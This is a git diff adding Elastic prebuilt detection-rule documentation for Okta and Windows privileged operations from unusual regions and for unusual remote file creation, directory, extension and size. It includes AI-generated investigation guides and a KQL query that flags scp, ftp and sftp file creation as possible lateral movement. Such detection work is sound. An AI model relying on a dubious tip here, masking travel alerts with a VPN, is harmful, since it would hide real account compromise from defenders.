+[[prebuilt-rule-8-19-20-unusual-region-name-for-okta-privileged-operations-detected]] +=== Unusual Region Name for Okta Privileged Operations Detected + +A machine learning job has identified a user performing privileged operations in Okta from an uncommon geographical location, indicating potential privileged access activity. This could suggest a compromised account, unauthorized access, or an attacker using stolen credentials to escalate privileges. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Region Name for Okta Privileged Operations Detected* + + +Okta is a widely used identity management service that controls access to applications and data. Adversaries may exploit stolen credentials to perform privileged operations from unusual locations, bypassing security measures. The detection rule leverages machine learning to identify anomalies in user activity, such as access from uncommon regions, indicating potential unauthorized access or privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the user account involved and the specific unusual region from which the privileged operations were detected. +- Check the user's recent login history and activity logs in Okta to determine if there are other instances of access from uncommon regions or any other suspicious activities. +- Verify with the user or their manager whether the access from the unusual region was expected or authorized, and if the user is currently traveling or using a VPN. +- Investigate any recent changes to the user's account, such as password resets or modifications to multi-factor authentication settings, to identify potential signs of compromise. +- Correlate the detected activity with other security logs and alerts to identify any related incidents or patterns that might indicate a broader attack or compromise. +- Assess the risk and impact of the detected activity by determining the specific privileged operations performed and whether any sensitive data or systems were accessed. +- If unauthorized access is confirmed, follow the organization's incident response procedures to contain and remediate the threat, including resetting the user's credentials and reviewing access permissions. + + +*False positive analysis* + + +- Users traveling for business may trigger false positives if they access Okta from uncommon regions. To manage this, create exceptions for users with known travel patterns by updating their profiles with expected travel locations. +- Remote employees working from different geographical locations than usual can cause false alerts. Implement a process to regularly update the list of approved remote work locations for these users. +- Employees using VPNs that route through different countries might be flagged. Identify and whitelist common VPN exit nodes used by your organization to prevent these false positives. +- Temporary assignments or projects in different regions can lead to alerts. Establish a communication protocol for employees to notify the security team of such assignments, allowing for temporary exceptions to be made. +- Consider time-based analysis to differentiate between legitimate access during business hours and suspicious activity at unusual times, reducing false positives from legitimate users accessing Okta from uncommon regions. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access or privilege escalation. +- Conduct a thorough review of recent privileged operations performed by the affected account to identify any unauthorized changes or access. +- Reset the password for the compromised account and enforce multi-factor authentication (MFA) to enhance security. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Review and update access controls and permissions for the affected account to ensure they align with the principle of least privilege. +- Monitor for any additional suspicious activity across other accounts and systems to identify potential lateral movement or further compromise. +- Document the incident details and response actions taken for future reference and to improve incident response processes. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Okta logs collected by integrations such as Okta. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Okta events collected by https://docs.elastic.co/en/integrations/okta[Okta] integration. +- To add the Okta integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-region-name-for-windows-privileged-operations-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-region-name-for-windows-privileged-operations-detected.asciidoc new file mode 100644 index 0000000000..f781156a27 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-region-name-for-windows-privileged-operations-detected.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-unusual-region-name-for-windows-privileged-operations-detected]] +=== Unusual Region Name for Windows Privileged Operations Detected + +A machine learning job has identified a user performing privileged operations in Windows from an uncommon geographical location, indicating potential privileged access activity. This could suggest a compromised account, unauthorized access, or an attacker using stolen credentials to escalate privileges. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Region Name for Windows Privileged Operations Detected* + + +The detection leverages machine learning to identify privileged operations from atypical geographic locations, which may indicate compromised accounts or unauthorized access. Adversaries exploit this by using stolen credentials to perform privilege escalation. The rule flags such anomalies, aiding in early detection of potential security breaches. + + +*Possible investigation steps* + + +- Review the alert details to identify the user account involved and the specific geographic location flagged as unusual. +- Check the user's recent login history and patterns to determine if the location is indeed uncommon for this user. +- Investigate any recent changes to the user's account, such as password resets or modifications to account permissions, that could indicate compromise. +- Correlate the alert with other security events or logs, such as VPN connections or remote access logs, to identify any unauthorized access attempts. +- Contact the user to verify if they were traveling or using a legitimate remote access method from the flagged location. +- Assess the risk by determining if the privileged operations performed align with the user's role and responsibilities within the organization. + + +*False positive analysis* + + +- Users traveling for business or personal reasons may trigger alerts when accessing systems from uncommon locations. To manage this, create exceptions for known travel patterns or use a VPN to simulate access from a common location. +- Remote employees or contractors working from different regions might cause false positives. Regularly update the list of approved remote work locations to prevent unnecessary alerts. +- Use of cloud services or VPNs that route traffic through different geographic locations can lead to false positives. Implement a whitelist for known IP addresses associated with these services. +- Scheduled maintenance or administrative tasks performed by IT staff from different locations can be mistaken for unauthorized access. Document and schedule these activities to avoid triggering alerts. +- Employees using personal devices with location services disabled may appear to be accessing from unusual regions. Encourage the use of company-approved devices with location tracking enabled to ensure accurate detection. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further unauthorized access. Disable the account temporarily until the investigation is complete. +- Review recent login activity and privileged operations performed by the affected account to identify any unauthorized changes or actions. +- Reset the password for the compromised account and enforce multi-factor authentication (MFA) to enhance security. +- Conduct a thorough review of the affected system and network for any signs of additional compromise or lateral movement by the attacker. +- Notify the security team and relevant stakeholders about the incident for awareness and further action if needed. +- Restore any unauthorized changes made during the incident from backups or logs, ensuring system integrity is maintained. +- Update security policies and access controls to prevent similar incidents, focusing on restricting privileged operations from uncommon geographic locations. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Windows logs collected by integrations such as Elastic Defend and Windows. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] and https://docs.elastic.co/en/integrations/windows[Windows] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Windows integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-creation.asciidoc new file mode 100644 index 0000000000..3eee0240f2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-creation.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-20-unusual-remote-file-creation]] +=== Unusual Remote File Creation + +This rule leverages the new_terms rule type to detect file creation via a commonly used file transfer service while excluding typical remote file creation activity. This behavior is often linked to lateral movement, potentially indicating an attacker attempting to move within a network. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* +* auditbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Remote File Creation* + + +Remote file creation tools like SCP, FTP, and SFTP are essential for transferring files across networks, often used in legitimate administrative tasks. However, adversaries can exploit these services to move laterally within a network, creating files in unauthorized locations. The detection rule identifies suspicious file creation activities by monitoring specific processes and excluding typical paths, thus highlighting potential lateral movement attempts by attackers. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name (e.g., scp, ftp, sftp) involved in the file creation event. +- Examine the file path where the file was created to determine if it is an unusual or unauthorized location, considering the exclusion of typical paths like /dev/ptmx, /run/*, or /var/run/*. +- Check the user account associated with the process to verify if it is a legitimate user or if there are signs of compromised credentials. +- Investigate the source and destination IP addresses involved in the file transfer to identify any suspicious or unexpected network connections. +- Analyze recent activity on the host to identify any other unusual or unauthorized actions that may indicate lateral movement or further compromise. +- Correlate this event with other alerts or logs to determine if it is part of a broader attack pattern or campaign within the network. + + +*False positive analysis* + + +- Administrative file transfers: Legitimate administrative tasks often involve transferring files using SCP, FTP, or SFTP. To manage this, create exceptions for known administrative accounts or specific IP addresses that regularly perform these tasks. +- Automated backup processes: Scheduled backups may use tools like rsync or sftp-server to create files remotely. Identify and exclude these processes by specifying the paths or scripts involved in the backup operations. +- System updates and patches: Some system updates might involve remote file creation in non-standard directories. Monitor update schedules and exclude these activities by correlating them with known update events. +- Development and testing environments: Developers may use remote file transfer services to deploy or test applications. Establish a baseline of typical development activities and exclude these from alerts by defining specific user accounts or project directories. +- Third-party integrations: Some third-party applications might require remote file creation as part of their functionality. Document these integrations and exclude their associated processes or file paths from triggering alerts. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further lateral movement within the network. This can be done by removing the host from the network or applying network segmentation controls. +- Terminate any suspicious processes identified in the alert, such as scp, ftp, sftp, vsftpd, sftp-server, or sync, to stop unauthorized file transfers. +- Conduct a thorough review of the file paths and files created to determine if any sensitive data has been compromised or if any malicious files have been introduced. +- Restore any unauthorized or malicious file changes from known good backups to ensure system integrity. +- Update and patch the affected systems to close any vulnerabilities that may have been exploited by the attacker. +- Implement stricter access controls and authentication mechanisms for remote file transfer services to prevent unauthorized use. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.action:creation and +process.name:(scp or ftp or sftp or vsftpd or sftp-server or sync) and +not ( + file.path:( + /dev/ptmx or /run/* or /var/run/* or /home/*/.ansible/*AnsiballZ_*.py or /home/*/.ansible/tmp/ansible-tmp* or + /root/.ansible/*AnsiballZ_*.py or /tmp/ansible-chief/ansible-tmp*AnsiballZ_*.py or + /tmp/newroot/home/*/.ansible/tmp/ansible-tmp*AnsiballZ_*.py or /tmp/.ansible/tmp/ansible-tmp*AnsiballZ_*.py or + /tmp/ansible-tmp-*/AnsiballZ_*.py or /tmp/.ansible/ansible-tmp-*AnsiballZ_*.py or /var/tmp/ansible-tmp-* or + /tmp/.ansible/ansible-tmp-*/.source or /root/.ansible/tmp/ansible-tmp-*/.source + ) or + file.extension:(filepart or yaml or new or rpm or deb) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-directory.asciidoc new file mode 100644 index 0000000000..9bb0d7de7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-directory.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-unusual-remote-file-directory]] +=== Unusual Remote File Directory + +An anomaly detection job has detected a remote file transfer on an unusual directory indicating a potential lateral movement activity on the host. Many Security solutions monitor well-known directories for suspicious activities, so attackers might use less common directories to bypass monitoring. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-90m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Remote File Directory* + + +The 'Unusual Remote File Directory' detection leverages machine learning to identify atypical file transfers in directories not commonly monitored, which may indicate lateral movement by adversaries. Attackers exploit these less scrutinized paths to evade detection, often using remote services to transfer malicious payloads. This rule flags such anomalies, aiding in early detection of potential breaches. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific unusual directory involved in the file transfer and note any associated file names or types. +- Check the source and destination IP addresses involved in the transfer to determine if they are known or trusted entities within the network. +- Investigate the user account associated with the file transfer to verify if the activity aligns with their typical behavior or role within the organization. +- Examine recent logs or events from the host to identify any other suspicious activities or anomalies that may correlate with the file transfer. +- Cross-reference the detected activity with known threat intelligence sources to determine if the file transfer or directory is associated with any known malicious campaigns or tactics. +- Assess the potential impact of the file transfer by evaluating the sensitivity of the data involved and the criticality of the systems affected. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts if they involve file transfers to directories not typically monitored. Users can create exceptions for known administrative activities to prevent unnecessary alerts. +- Automated backup processes might be flagged if they store files in uncommon directories. Identifying and excluding these backup operations can reduce false positives. +- Software updates or patches that deploy files to less common directories could be mistaken for suspicious activity. Users should whitelist these update processes to avoid false alerts. +- Development or testing environments often involve file transfers to non-standard directories. Users can configure exceptions for these environments to minimize false positives. +- Legitimate remote services used for file transfers, such as cloud storage synchronization, may be flagged. Users should identify and exclude these trusted services from monitoring. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further lateral movement and contain the potential threat. Disconnect it from the network to stop any ongoing malicious activity. +- Conduct a thorough analysis of the unusual directory and any files transferred to identify malicious payloads. Use endpoint detection and response (EDR) tools to scan for known malware signatures and behaviors. +- Remove any identified malicious files and artifacts from the affected directory and host. Ensure that all traces of the threat are eradicated to prevent re-infection. +- Reset credentials and review access permissions for the affected host and any associated accounts to mitigate the risk of unauthorized access. Ensure that least privilege principles are enforced. +- Monitor network traffic and logs for any signs of further lateral movement or exploitation attempts. Pay special attention to remote service connections and unusual directory access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional hosts or systems are compromised. +- Update detection mechanisms and rules to enhance monitoring of less common directories and improve the detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- File events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-extension.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-extension.asciidoc new file mode 100644 index 0000000000..85b6342af6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-extension.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-unusual-remote-file-extension]] +=== Unusual Remote File Extension + +An anomaly detection job has detected a remote file transfer with a rare extension, which could indicate potential lateral movement activity on the host. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-90m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Remote File Extension* + + +The detection of unusual remote file extensions leverages machine learning to identify anomalies in file transfers, which may suggest lateral movement by adversaries. Attackers often exploit remote services to transfer files with uncommon extensions, bypassing standard security measures. This rule flags such anomalies, aiding in early detection of potential threats by correlating rare file extensions with known lateral movement tactics. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file extension and the source and destination of the file transfer. +- Check the historical data for the identified file extension to determine if it has been used previously in legitimate activities or if it is indeed rare. +- Investigate the source host to identify any recent changes or suspicious activities, such as new user accounts or unusual login patterns. +- Examine the destination host for any signs of compromise or unauthorized access, focusing on recent file modifications or unexpected processes. +- Correlate the file transfer event with other security alerts or logs to identify potential patterns of lateral movement or exploitation of remote services. +- Consult threat intelligence sources to determine if the rare file extension is associated with known malware or adversary tactics. + + +*False positive analysis* + + +- Common internal file transfers with rare extensions may trigger false positives. Review and whitelist known benign file extensions used by internal applications or processes. +- Automated backup or synchronization tools might use uncommon file extensions. Identify these tools and create exceptions for their typical file extensions to prevent unnecessary alerts. +- Development environments often generate files with unique extensions. Collaborate with development teams to understand these patterns and exclude them from detection if they are verified as non-threatening. +- Security tools or scripts that transfer diagnostic or log files with unusual extensions can be mistaken for lateral movement. Document these tools and adjust the rule to ignore their specific file extensions. +- Regularly review and update the list of excluded extensions to ensure it reflects current operational practices and does not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further lateral movement and contain the potential threat. +- Review and terminate any suspicious remote sessions or connections identified on the host to cut off unauthorized access. +- Conduct a thorough scan of the affected system for malware or unauthorized software that may have been transferred using the unusual file extension. +- Restore the affected system from a known good backup if any malicious activity or compromise is confirmed. +- Update and patch all software and systems on the affected host to close any vulnerabilities that may have been exploited. +- Monitor network traffic for any further unusual file transfers or connections, focusing on rare file extensions and remote service exploitation patterns. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- File events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-size.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-size.asciidoc new file mode 100644 index 0000000000..a82dcc293a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-remote-file-size.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-unusual-remote-file-size]] +=== Unusual Remote File Size + +A machine learning job has detected an unusually high file size shared by a remote host indicating potential lateral movement activity. One of the primary goals of attackers after gaining access to a network is to locate and exfiltrate valuable information. Instead of multiple small transfers that can raise alarms, attackers might choose to bundle data into a single large file transfer. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-90m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* 